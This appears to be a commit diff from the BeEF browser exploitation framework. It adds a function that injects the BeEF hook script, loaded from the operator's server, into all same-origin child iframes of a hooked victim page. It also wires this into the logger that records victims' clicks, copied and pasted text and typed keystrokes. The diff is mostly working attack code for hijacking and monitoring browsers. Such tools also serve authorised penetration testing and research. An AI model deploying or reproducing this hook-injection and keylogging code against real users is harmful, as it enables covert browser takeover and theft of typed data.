Add beef.browser.hookChildFrames()
BeEF now automatically hooks all same-domain child (i)frames Allows logging of child frame events - fixes issue #493
This commit is contained in:
@@ -842,6 +842,30 @@ beef.browser = {
|
||||
return 'UNKNOWN'; // Unknown UA
|
||||
},
|
||||
|
||||
/**
|
||||
* Hooks all child frames in the current window
|
||||
* Restricted by same-origin policy
|
||||
*/
|
||||
hookChildFrames:function () {
|
||||
|
||||
// create script object
|
||||
var script = document.createElement('script');
|
||||
script.type = 'text/javascript';
|
||||
script.src = '<%== @beef_proto %>://<%== @beef_host %>:<%== @beef_port %><%== @hook_file %>';
|
||||
|
||||
// loop through child frames
|
||||
for (var i=0;i<self.frames.length;i++) {
|
||||
try {
|
||||
// append hook script
|
||||
self.frames[i].document.body.appendChild(script);
|
||||
console.log("Hooked child frame [src:"+self.frames[i].window.location.href+"]");
|
||||
} catch (e) {
|
||||
// warn on cross-domain
|
||||
console.log("Hooking frame failed");
|
||||
}
|
||||
}
|
||||
},
|
||||
|
||||
/**
|
||||
* Checks if the zombie has flash installed and enabled.
|
||||
* @return: {Boolean} true or false.
|
||||
|
||||
@@ -50,6 +50,7 @@ beef.logger = {
|
||||
*/
|
||||
start: function() {
|
||||
|
||||
beef.browser.hookChildFrames();
|
||||
this.running = true;
|
||||
var d = new Date();
|
||||
this.time = d.getTime();
|
||||
|
||||
@@ -52,7 +52,7 @@ module Events
|
||||
when 'click'
|
||||
result = "#{event['time']}s - [Mouse Click] x: #{event['x']} y:#{event['y']} > #{event['target']}"
|
||||
when 'focus'
|
||||
result = "#{event['time']}s - [Focus] Browser has regained focus."
|
||||
result = "#{event['time']}s - [Focus] Browser window has regained focus."
|
||||
when 'copy'
|
||||
result = "#{event['time']}s - [User Copied Text] \"#{event['data']}\""
|
||||
when 'cut'
|
||||
@@ -60,7 +60,7 @@ module Events
|
||||
when 'paste'
|
||||
result = "#{event['time']}s - [User Pasted Text] \"#{event['data']}\""
|
||||
when 'blur'
|
||||
result = "#{event['time']}s - [Blur] Browser has lost focus."
|
||||
result = "#{event['time']}s - [Blur] Browser window has lost focus."
|
||||
when 'keys'
|
||||
result = "#{event['time']}s - [User Typed] \"#{event['data']}\" > #{event['target']}"
|
||||
when 'submit'
|
||||
|
||||
Reference in New Issue
Block a user